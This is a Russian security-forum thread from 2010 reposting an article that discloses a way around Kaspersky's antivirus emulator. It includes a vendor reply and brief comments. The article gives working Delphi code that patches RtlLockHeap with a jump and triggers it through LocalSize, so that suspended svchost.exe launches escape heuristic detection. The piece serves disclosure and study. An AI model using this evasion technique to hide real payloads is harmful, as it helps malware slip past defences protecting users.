Показано с 1 по 6 из 6.

Уязвимость в эмуляторе Касперского

  1. #1
    Visiting Helper Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для gjf
    Регистрация
    08.06.2008
    Адрес
    Where I lay my head is home
    Сообщений
    2,685
    Вес репутации
    809

    Уязвимость в эмуляторе Касперского

    Собственно, сабж: http://habrahabr.ru/sandbox/18422/
    Спасибы за найденную уязвимость нужно адресовывать небезызвестному ElCrabe

    Добавлено через 11 минут

    Хе-хе, похоже с Хабрхабра удалили Ну ничего, попытаюсь опубликовать её чуть позже здесь.

    Добавлено через 22 минуты

    Поскольку с автором временно нет связи, публикую предварительный вариант статьи. Возможно, позже будет уже то, что было на Хабре.
    -------------------------------------------------------------------------------

    На данный момент в мире создаётся всё большее количество вирусов, за количеством которых невозможно успеть. Поэтому современные технологии "облачных сетей" и эвристических анализаторов кода призваны обеспечить защиту от совершенно новых угроз до того, как аналитики добавят образцы в антивирусные базы.

    Не для кого не секрет, что в каждой системе всегда найдется пара дырок, которые рано или поздно выплывут наружу. Иногда это связано с ошибками программистов, иногда - из-за развития технологий вирмейкерства. В данной статье я покажу Вам один из способов обхода эмулятора в последних версиях антивируса Касперского.

    Теория
    Что вообще из себя представляет эмулятор в антивирусе и зачем он нужен ? Ответ очень прост - практически все вредоносное ПО подвержено шифрованию и пакингу различными крипторами и протекторами, во время проверки файла на диске эмулятор "раскручивает" тестируемый исполнительный файл на своей виртуальной машине и постепенно "добирается" до нужного кода, детект которого уже происходит либо сигнатурным, либо эвристическим методом.

    Во время разработки одной из своих программ я столкнулся с проблемой, что антивирус Касперского постоянно ругался на мой ехешник, как на "HEUR:Trojan.Win32.Generic", хотя ничего вредоносного в нем я не видел. Методом исключений было выявлено, что антивирус ругается на создание процесса функцией CreateProcess(...), если в ее параметрах выставлен флаг скрытого запуска процесса. Деваться от этого было некуда, поэтому пришлось перебирать различные варианты исполнения кода, тем более мне самому это было интересно. Результат не заставил себя долго ждать - за пару часов было найдено три способа противодействия эмулятору, давайте рассмотрим, на мой взгляд, самый интересный из них, который заключается в уязвимости проверок api функций.

    Эмулятор проверяет лишь вызовы win api, которые делает тестируемое приложение, но вот анализирует ли он другие api, которое вызывает проверяемое, как оказалось - нет. Было ли это сделано в целях оптимизации или же простой недосмотр разработчиков - никто и не узнает.

    Для наглядности привожу маленькую схемку: слева изображено исполнение программы в реальной среде, а справа - исполнение проверок над кодом в среде эмулятора антивируса.


    Практика
    В пример привожу часть кода, которая детектировалась в моей программе. Как и говорилось ранее - код не делает ничего плохого, лишь запускает процесс в остановленном виде. Написан на delphi.

    Код:
    procedure ProcessBadCode();
    var
      StartInfo : TStartupInfoA;
      ProcInfo : TProcessInformation;
    begin
      ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));
      StartInfo.cb := SizeOf(TStartupInfoA);
      CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
    end;
    
    begin
      ProcessBadCode();
    end.
    Всё что надо для незаметного выполнения кода под носом у эмулятора - это сделать хук на любую api и перевести выполнение на код, который должен остаться незамеченным, а затем найти другую api, которая вызывает первую и вызвать ее в своем коде. В следующем примере я взял следующие функции: "RtlLockHeap(...)" из "ntdll.dll" и "LocalSize(...)" из "kernel32.dll". Как многие уже поняли - вторая вызывает первую. После установления хука на "RtlLockHeap(...)" цепочка вызовов получается следующая:
    MyCode(...) -> LocalSize(...) -> RtlLockHeap(...) -> BadCode(...).
    Детекта антивирусом уже не будет.

    Код:
    var
      Initialized : Boolean; 
    procedure ProcessBadCode();
    var
      StartInfo : TStartupInfoA;
      ProcInfo : TProcessInformation;
    begin
      if not Initialized then // наш код может выполниться один раз, а вот хученая апи - нет
      begin
        Initialized := True; // посему сделаем переменную, которая будет это контролировать
        ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));
        StartInfo.cb := SizeOf(TStartupInfoA);
        CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
        Sleep(5000); // подождем и завершим запущенный процесс
        TerminateProcess(ProcInfo.hProcess, 0); 
        ExitProcess(0); // завершим текущий
      end;
      Sleep(INFINITE); // все вызовы хученой апи мы ставим на паузу
    end;
    
    procedure ProcessStartCode();
      procedure WriteJmp(AddressFrom, AddressTo : Integer); // записывает jmp на нужный код
      var
        Protect, Stuff : Cardinal;
      begin
        VirtualProtect(Ptr(AddressFrom), 5, PAGE_EXECUTE_READWRITE, Protect);
        PByte(AddressFrom)^ := $E9;
        PInteger(AddressFrom + 1)^ := AddressTo - AddressFrom - 5;
        VirtualProtect(Ptr(AddressFrom), 5, Protect, Stuff);
      end;
    var
      NativeFunc : procedure();
    begin
      // найдем адрес первой функции
      @NativeFunc := GetProcAddress(GetModuleHandle('ntdll.dll'), 'RtlLockHeap'); 
      // Поставим там хук переведя исполнение программы на BadCode
      WriteJmp(Integer(@NativeFunc), Integer(@ProcessBadCode));
      // Вызовем вторую, которая вызовет первую ...
      LocalSize(0);
    end;
    
    begin
      ProcessStartCode();
    end.
    Выводы
    Золотое правило: "доверяй - но проверяй!" К сожалению, существующая политика "доверия" подписанным программам уже дала сбой: это примеры, реализованные и в вирусе Stuxnet, и в недавней эксплуатации уязвимости Adobe. Как показал мой маленький опыт - тем же проблемам подвержен и эвристический анализатор кода одного из самых популярных антивирусов. Особенно показательно то, что эвристический анализатор Касперского - один из двух, которые заметили угрозу в данному файле (за что ему честь и хвала), при чём детект китайского Jiangmin - явное ложное срабатывание. Жаль только, что всё решилось так просто...

    Всё это в очередной раз подтверждает непреложную истину, что ни один программный продукт не обеспечит должную защиту без понимания азов безопастности со стороны оператора и его активных действий про пресечению угроз.

    В дополнение выкладывается комплект скомпилированных исполняемых файлов и исходники, о которых речь шла в статье. Вредоносной активности файлы не проявляют, но вызывают детект или наоборот - не вызывают его Пароль на архив - elcrabe.


    В дополнение скажу, что разработчик был уведомлен о существовании уязвимости за сутки до публикации статьи.
    Последний раз редактировалось gjf; 14.09.2010 в 12:12. Причина: Добавлено

  2. Будь в курсе!
    Реклама на VirusInfo

    Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

    Anti-Malware Telegram
     

  3. #2
    Expert Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для DVi
    Регистрация
    28.08.2006
    Адрес
    moscow
    Сообщений
    3,698
    Вес репутации
    2174
    Ответ разработчиков:

    Технология эмуляции принципиально не может гарантировать 100,0% обнаружение исполняемого кода. В комплексной стратегии защиты продуктов Лаборатории Касперского эмуляция является всего лишь одним из рубежей. Тем не менее, мы работаем над усовершенствованием эмулятора для предотвращения возможности подобных обходов в принципе.

  4. #3
    Expert Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    13.06.2008
    Сообщений
    241
    Вес репутации
    1187
    Из статьи так и не стало ясным в чем состоит уязвимость ЭВРИСТИЧЕСКОГО анализатора.

  5. #4

  6. #5
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для antanta
    Регистрация
    27.12.2008
    Адрес
    Алматы
    Сообщений
    687
    Вес репутации
    530
    Всегда интересна реакция на такие публикации (или приватные сообщения). Чуть ли не в одном предложении (ну, немного преувеличил) могут содержаться утверждения "этого не может быть", "это не опасно", "мы уже знаем об этом по другим кейсам" и "это старая дурка".
    У меня будет свой Internet, без MMORPG и порно-див!

  7. #6
    Visiting Helper Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для gjf
    Регистрация
    08.06.2008
    Адрес
    Where I lay my head is home
    Сообщений
    2,685
    Вес репутации
    809
    antanta, забыл ещё: "этот баг имеет низкий приоритет"

Похожие темы

  1. «Лаборатория Касперского»: «Антивирус Касперского 2010» - самый быстрый
    От SDA в разделе Новости компьютерной безопасности
    Ответов: 2
    Последнее сообщение: 13.11.2009, 16:45
  2. Ответов: 0
    Последнее сообщение: 28.07.2008, 21:58
  3. Уязвимость в Антивирусе Касперского
    От SDA в разделе Антивирусы
    Ответов: 1
    Последнее сообщение: 11.04.2005, 00:19

Метки для этой темы

Свернуть/Развернуть Ваши права в разделе

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Page generated in 0.01628 seconds with 19 queries